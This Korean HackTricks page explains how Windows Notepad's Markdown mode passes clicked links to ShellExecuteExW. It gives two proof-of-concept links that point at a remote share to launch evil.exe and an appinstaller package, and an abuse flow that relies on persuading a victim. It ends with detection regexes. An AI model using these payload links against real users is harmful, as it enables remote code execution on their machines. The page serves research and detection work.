Windows Protocol Handler / ShellExecute Abuse (Markdown Renderers)
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Markdown/HTML을 렌더링하는 최신 Windows 애플리케이션은 사용자 제공 링크를 클릭 가능한 요소로 바꿔 ShellExecuteExW로 전달하는 경우가 많습니다. 엄격한 스킴 허용 목록이 없으면 등록된 모든 프로토콜 핸들러(예: file:, ms-appinstaller:)가 호출되어 현재 사용자 컨텍스트에서 코드 실행으로 이어질 수 있습니다.
Windows Notepad Markdown 모드에서의 ShellExecuteExW 노출
- Notepad는
sub_1400ED5D0()에서 고정 문자열 비교를 통해 오직.md확장자에 대해서만 Markdown 모드를 선택합니다. - 지원되는 Markdown 링크:
- 표준:
[text](target) - Autolink:
<target>(렌더링되어[target](target)가 되므로, 둘 다 페이로드와 탐지에 중요합니다.) - 링크 클릭은
sub_140170F60()에서 처리되며, 이 함수는 약한 필터링을 수행한 다음ShellExecuteExW를 호출합니다. ShellExecuteExW는 HTTP(S)뿐 아니라 구성된 모든 프로토콜 핸들러로 전달합니다.
페이로드 고려사항
- 링크의 모든
\\시퀀스는ShellExecuteExW호출 전에\\가\로 정규화되어 UNC/경로 구성 및 탐지에 영향을 미칩니다. .md파일은 기본적으로 Notepad에 연관되어 있지 않습니다; 피해자가 여전히 파일을 Notepad에서 열고 링크를 클릭해야 하지만, 렌더링된 후에는 링크가 클릭 가능해집니다.- 위험한 예시 스킴:
file://— 로컬/UNC 페이로드를 실행하기 위해 사용됩니다.ms-appinstaller://— App Installer 흐름을 트리거합니다. 로컬에 등록된 다른 스킴도 악용될 수 있습니다.
Minimal PoC Markdown
[run](file://\\192.0.2.10\\share\\evil.exe)
<ms-appinstaller://\\192.0.2.10\\share\\pkg.appinstaller>
악용 흐름
- Notepad가 Markdown으로 렌더링하도록
.mdfile을 만듭니다. - 위험한 URI 스킴(
file:,ms-appinstaller:, 또는 설치된 핸들러)을 사용하는 링크를 삽입합니다. - 파일을 전달(HTTP/HTTPS/FTP/IMAP/NFS/POP3/SMTP/SMB 등)하고 사용자가 Notepad에서 열도록 설득합니다.
- 클릭 시 정규화된 링크가
ShellExecuteExW에 전달되고 해당 프로토콜 핸들러가 사용자 컨텍스트에서 참조된 콘텐츠를 실행합니다.
탐지 아이디어
- 문서를 전달하는 데 흔히 사용되는 포트/프로토콜을 통해 전송되는
.md파일을 모니터링합니다:20/21 (FTP),80 (HTTP),443 (HTTPS),110 (POP3),143 (IMAP),25/587 (SMTP),139/445 (SMB/CIFS),2049 (NFS),111 (portmap). - Markdown 링크(standard 및 autolink)를 파싱하고 대소문자 구분 없이
file:또는ms-appinstaller:를 찾습니다. - 원격 리소스 접근을 포착하기 위한 벤더 가이드 정규식:
(\x3C|\[[^\x5d]+\]\()file:(\x2f|\x5c\x5c){4}
(\x3C|\[[^\x5d]+\]\()ms-appinstaller:(\x2f|\x5c\x5c){2}
- 패치 동작은 보고에 따르면 allowlists local files and HTTP(S);
ShellExecuteExW에 도달하는 다른 모든 것은 의심스럽습니다. 시스템마다 공격 표면이 달라 필요에 따라 다른 설치된 프로토콜 핸들러에 대한 탐지를 확장하세요.
References
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


